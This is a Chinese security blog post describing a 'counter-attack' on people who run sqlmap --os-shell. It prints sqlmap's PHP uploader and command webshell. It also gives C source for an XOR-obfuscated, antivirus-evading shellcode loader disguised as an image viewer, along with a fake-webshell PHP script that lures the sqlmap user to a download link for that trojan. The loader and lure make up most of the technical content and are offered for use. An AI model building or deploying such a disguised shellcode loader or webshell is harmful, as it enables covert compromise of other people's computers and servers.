<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    sqlmap --os-shell反制小思路

    VSole2021-12-14 16:55:46

    前言

    之前有看到goby反制和松鼠A師傅蟻劍反制的文章,再想到之前寫過sqlmap的shell免殺,覺得思路其實差不多,就寫一篇sqlmap的反制吧。

    sqlmap流量分析

    (其實可以通過分析解密后sqlmap內置的backdoor后門文件(文章鏈接))

    具體sqlmap的攻擊流程差不多是這樣:

    1. 測試鏈接是否能夠訪問

    2. 判斷操作系統版本

    3. 傳遞一個數組,嘗試爆絕對路徑

    4. 指定上傳路徑

    5. 使用lines terminated by 寫入一個php文件,該php文件可以進行文件上傳

    6. 嘗試找到上傳的文件的訪問路徑;直到找到正確的路徑

    7. 通過上傳的臨時文件,嘗試上傳另外一個php文件, 該文件可以進行命令執行

    8. 嘗試進行命令執行 echo command execution test

    9. 直接輸入對應的命令

    10. 退出 -–os-shell后刪除命令馬

    然后我們反制思路其實大概分為兩個

    • 一個是通過打開的頁面嵌入js來直接執行命令
    • 另一個是通過打開釣魚頁面(比如flash釣魚那種)

    這兩個相比而言其實各有優點,但我決定結合一下?

    通過打開的頁面來下載圖片馬,然后進行rce

    制作

    圖片馬里面的程序用C寫的,用異或做了免殺(和其他師傅學習的)

    這個是引用的頭文件

    //{{NO_DEPENDENCIES}}//#define IDR_IMAGE1                      101#define IDI_ICON1                       102
    // Next default values for new objects// #ifdef APSTUDIO_INVOKED#ifndef APSTUDIO_READONLY_SYMBOLS#define _APS_NEXT_RESOURCE_VALUE        103#define _APS_NEXT_COMMAND_VALUE         40001#define _APS_NEXT_CONTROL_VALUE         1001#define _APS_NEXT_SYMED_VALUE           101#endif#endif
    

    這個才是C腳本

    #include#include#include#include "resource.h"using namespace std;
    void image() {    IMAGE img;    loadimage(&img, L"IMAGE", MAKEINTRESOURCE(IDR_IMAGE1));    int w, h;    w = img.getwidth();    h = img.getheight();    initgraph(w, h);    putimage(0, 0, &img);    getchar();    closegraph();}
    int main(){    unsigned char shellc0de[] = "\x1c\x65\x9d\x1c\xd5\xbd\x89\xab\xab\xab\x1c\xd9\x51\xbb\xab\xab\xab\x1c\xef\x4c\xc8\xae\xed\x37\x61\xee\x24\x1c\x65\x0c\x73\x1c\x79\xac\xab\xab\xab\xb6\xa0\xb0\x80\x2d\x09\xc7\x89\x2e\x24\x4c\xc8\xef\xbc\x76\x31\xbc\x75\x1a\x80\x9f\x3f\x52\x29\x65\x76\x2c\x80\x25\xbf\x2f\x29\x65\x76\x6c\x80\x25\x9f\x67\x29\xe1\x93\x06\x82\xe3\xdc\xfe\x29\xdf\xe4\xe0\xf4\xcf\x91\x35\x4d\xce\x65\x8d\x01\xa3\xac\x36\xa0\x0c\xc9\x1e\x89\xff\xa5\xbc\x33\xce\xaf\x0e\xf4\xe6\xec\xe7\xea\x6e\xac\x4c\xc8\xae\xa5\xb2\xa1\x9a\x43\x04\xc9\x7e\xbd\xbc\x29\xf6\x60\xc7\x88\x8e\xa4\x36\xb1\x0d\x72\x04\x37\x67\xac\xbc\x55\x66\x6c\x4d\x1e\xe3\xdc\xfe\x29\xdf\xe4\xe0\x89\x6f\x24\x3a\x20\xef\xe5\x74\x28\xdb\x1c\x7b\x62\xa2\x00\x44\x8d\x97\x3c\x42\xb9\xb6\x60\xc7\x88\x8a\xa4\x36\xb1\x88\x65\xc7\xc4\xe6\xa9\xbc\x21\xf2\x6d\x4d\x18\xef\x66\x33\xe9\xa6\x25\x9c\x89\xf6\xac\x6f\x3f\xb7\x7e\x0d\x90\xef\xb4\x76\x3b\xa6\xa7\xa0\xe8\xef\xbf\xc8\x81\xb6\x65\x15\x92\xe6\x66\x25\x88\xb9\xdb\xb3\x37\xf3\xa5\x8d\x60\xee\x24\x4c\xc8\xae\xed\x37\x29\x63\xa9\x4d\xc9\xae\xed\x76\xdb\xdf\xaf\x23\x4f\x51\x38\x8c\x81\xf3\x0e\x46\x89\x14\x4b\xa2\xdc\x73\xdb\x99\x80\x2d\x29\x1f\x5d\xe8\x58\x46\x48\x55\x0d\x42\x64\x55\x63\x5f\xba\xc1\x87\x37\x38\xaf\xad\x96\x37\x7b\x8e\x56\x0d\x8d\x0a\x29\xb0\xcb\xed\x37\x61\xee\x24";    unsigned char key[] = "\x09\xab";    unsigned char aa[] = "\x32\xff";
        DWORD dw_size = sizeof shellc0de;    int i;    for (i = 0; i < dw_size; i++) {
            shellc0de[i] ^= key[1];        shellc0de[i] = aa[1] - shellc0de[i];    }    LPVOID men = CoTaskMemAlloc(sizeof shellc0de);    DWORD lpflOldProtect = 0;    UINT name = RegisterClipboardFormatW((LPCWSTR)shellc0de);    VirtualProtect(men, sizeof3 shellc0de, 0x40, &lpflOldProtect);    GetClipboardFormatNameW(name, (LPWSTR)men, sizeof shellc0de);    HANDLE handle = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)men, 0, 0, 0);    WaitForSingleObject(handle, -1);    image();    return 0;}
    

    圖片自己選一張然后生成馬就行

    馬弄得差不多了,接下來看看sqlmap的流量分析

    分析&構造

    眾所周知,sqlmap會使用lines terminated by 寫入一個php文件,可以進行文件上傳。

    // 判斷是否有一個upload的值傳過來if (isset($_REQUEST["upload"])){    // 將uploadDir賦值給絕對路徑    $dir = $_REQUEST["uploadDir"];    // 判斷php版本是否小于4.1.0    if (phpversion() < '4.1.0')    {        $file = $HTTP_POST_FILES["file"]["name"];        @move_uploaded_file($HTTP_POST_FILES["file"]["tmp_name"], $dir . "/" . $file) or die;    }    else    {        $file = $_FILES["file"]["name"];        // 完成上傳        @move_uploaded_file($_FILES["file"]["tmp_name"], $dir . "/" . $file) or die;    }    // 設置權限    @chmod($dir . "/" . $file, 0755);    echo "File uploaded";}else{    echo ""PHP_SELF"] . " method=POST enctype=multipart/form-data>sqlmap file uploader
    to directory:  ";}
    

    然后找絕對路徑,上傳下面這個真正的命令馬。

    $c=$_REQUEST["cmd"];@set_time_limit(0);@ignore_user_abort(1);@ini_set("max_execution_time",0);$z=@ini_get("disable_functions");if(!empty($z)) {    $z=preg_replace("/[, ]+/",',',$z);    $z=explode(',',$z);    $z=array_map("trim",$z);} else {    $z=array();}$c=$c." 2>&1";// 將命令與 2>&1進行拼接function f($n) {    global $z;    return is_callable($n)and!in_array($n,$z);//is_callable函數檢查f($n)在當前環境中是否可調用}if(f("system")) {    ob_start();    system($c);    $w=ob_get_clean();//返回輸出緩沖區的內容,清空(擦除)緩沖區并關閉輸出緩沖} elseif(f("proc_open")) {    $y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t);    $w=NULL;    while(!feof($t[1])) {//feof函數檢查是否已到達文件末尾(EOF)        $w.=fread($t[1],512);    }    @proc_close($y);} elseif(f("shell_exec")) {    $w=shell_exec($c);} elseif(f("passthru")) {    ob_start();    passthru($c);    $w=ob_get_clean();} elseif(f("popen")) {//popen()函數通過創建一個管道,調用 fork 產生一個子進程,執行一個 shell 以 運行命令 來開啟一個進程。這個進程必須由 pclose () 函數關閉    $x=popen($c,r);    $w=NULL;    if(is_resource($x)) {        while(!feof($x)) {            $w.=fread($x,512);//fread() 函數讀取文件(可安全用于二進制文件)。512:讀取的最大字節數。        }    }    @pclose($x);// pclose()函數關閉標準 I/O 流,等待命令執行結束,然后返回 shell 的終止狀態。} elseif(f("exec")) {    $w=array();    exec($c,$w);    $w=join(chr(10),$w).chr(10);} else {    $w=0;}echo"
    $w
    ";?>
    

    而最后的返回包,webshell獲取了網站目錄、數據庫類型等信息。

    這個時候,我們可以寫一個偽造的sqlmap的”webshell“

    echo "SORRY"; preg_match('/system|proc_open|shell|php|sys|shell_exec|user|passthru|create|upload|file|popen|static|get|sleep|exec|eval|str|set/i',$A,$B);    $c="$B[0]";    $key= str_replace(['"', '.', 'system', 'proc_open', 'shell', 'shell_exec', 'popen', 'exec', 'passthru', ' ', ";"], "", $c);//將命令執行函數替換掉    $txt='D:/IIS5.0/WWW'."\t".'C:D:E:F:'."\t".'Windows NT LAPTOP-46FFII5G 6.2 build 9200 (Windows 8 Business Edition) i586'."\t";    echo "$txt";//偽造連通
    

    然后搭配上掛馬圖片的下載鏈接

    $iscmd="%(.*)127;%si";if (preg_match($iscmd,$A)!=0) {    preg_match('/system|proc_open|shell|php|sys|shell_exec|user|passthru|create|upload|file|popen|static|get|sleep|exec|eval|str|set/i',$A,$B);    $c="$B[0]";    $key= str_replace(['"', '.', 'system', 'proc_open', 'shell', 'shell_exec', 'popen', 'exec', 'passthru', ' ', ";"], "", $c);//將命令執行函數替換掉    $payload='http://shell.com/index.html';    echo 'WARN://'."".'數據上傳成功,但與flash進行交互,請訪問該網址進行shell鏈接。SQLMAP:'."$payload";
    

    一代目

    php寫的不好,可能有點不符合sqlmap返回包的形式,以后我慢慢改吧

    $A=urldecode(file_get_contents("php://input"));$iscmd="%(.*)127;%si";if (preg_match($iscmd,$A)!=0) {    preg_match('/system|proc_open|shell|php|sys|shell_exec|user|passthru|create|upload|file|popen|static|get|sleep|exec|eval|str|set/i',$A,$B);    $c="$B[0]";    $key= str_replace(['"', '.', 'system', 'proc_open', 'shell', 'shell_exec', 'popen', 'exec', 'passthru', ' ', ";"], "", $c);//將命令執行函數替換掉    $payload='http://exp.com/index.html';    echo 'WARN://'."".'數據上傳成功,但與flash進行交互,請訪問該網址進行shell鏈接。SQLMAP:'."$payload";//隨便寫,誘惑別人點進去。反正我是不信sqlmap會用flash} else {    echo "SORRY";    preg_match('/system|proc_open|shell|php|sys|shell_exec|user|passthru|create|upload|file|popen|static|get|sleep|exec|eval|str|set/i',$A,$B);    $c="$B[0]";    $key= str_replace(['"', '.', 'system', 'proc_open', 'shell', 'shell_exec', 'popen', 'exec', 'passthru', ' ', ";"], "", $c);//將命令執行函數替換掉    $txt='D:/IIS5.0/WWW'."\t".'C:D:E:F:'."\t".'Windows NT LAPTOP-46FFII5G 6.2 build 9200 (Windows 8 Business Edition) i586'."\t";    echo "$txt";//偽造連通性}
    

    反思

    其實這個想法我感覺可能不太好,在連通性處寫的可能有問題,我的wireshark有點問題,一直抓不了本地的流量包,只能看我終端返回的內容進行偽造了=_=

    如果可以的話,師傅們可以抓本地流量包,然后自己改寫偽造連通性的腳本。

    shellsqlmap
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    介紹幾種利用sql注入獲取系統權限的方法,一是利用outfile函數,另外一種是利用--os-shell
    介紹幾種利用sql注入獲取系統權限的方法,一是利用outfile函數,另外一種是利用--os-shell
    背景 目標站:發現授權文件,刷新抓包得到一處ajax請求指向了TicketsSellMainHandler.ashx文件存在注入開始踩坑 本來打算通過注入開啟XP_cmdshell提權拿到源碼 進一步進行審計 通過dir命令得到該站絕對路徑發現是中文絕對路徑,這個時候在不考慮powershell上線的方式用echo進行寫馬已經行不通了 mssql調用cmd默認是gb2312編碼,使用sqlmap
    HW藍隊初級面試總結
    2022-10-12 07:00:02
    一、sql注入原理、分類、繞過原理:產生sql注入漏洞主要因為沒有對接受到的參數進行過濾、驗證和處理直接拼接到了sql語句中,然后直接執行該sql語句,這樣就會導致惡意用戶傳入一些精心構造的sql代碼,與后臺sql語句拼接后形成完整的sql語句執行,達到攻擊者的目的。
    之前有看到goby反制和松鼠A師傅蟻劍反制的文章,再想到之前寫過sqlmapshell免殺,覺得思路其實差不多,就寫一篇sqlmap的反制吧。
    sqlmap --os-shell原理
    2021-09-24 07:04:41
    前言當數據庫為MySQL,PostgreSQL或Microsoft SQL Server,并且當前用戶有權限使用特定的函數。
    SQlMAP --os-shell拿下webshell 眾所周知,--os-shell的使用條件較為苛刻,必須滿足: dba權限 網站絕對路徑 php中的gpc為off,php為自動轉義的狀態
    接著老毛病就犯了,上去就輸入了個1查詢接著輸入了1’嘖嘖嘖,這明顯有SQL注入哇。果斷掏出SQLMAP神器。結局很完美,不僅存在注入,還是DBA的權限。初步信息搜集既然拿到了shell,那么第一步肯定是信息搜集了。免殺shellcode完美上線這里我用的K8gege的 Ladon插件進行掃描內網得,主要掃描出來的結果格式比較好看。橫向滲透&進一步信息搜集內網第一波那必須的是MS17-010了,這里我同樣用K8gege的Ladon。
    一般信息查詢框會和數據庫存在交互。我輸入數字1,會正常提示木查詢到相關信息。那我們使用1’測試一下,發現不彈未查詢到相關信息的提示框,也沒有任何數據輸出,大致判斷這個點存在sql注入,并且不對輸出報錯信息。大概猜測出SQL語句為 :select * from A where id ='$_POST['id']';
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类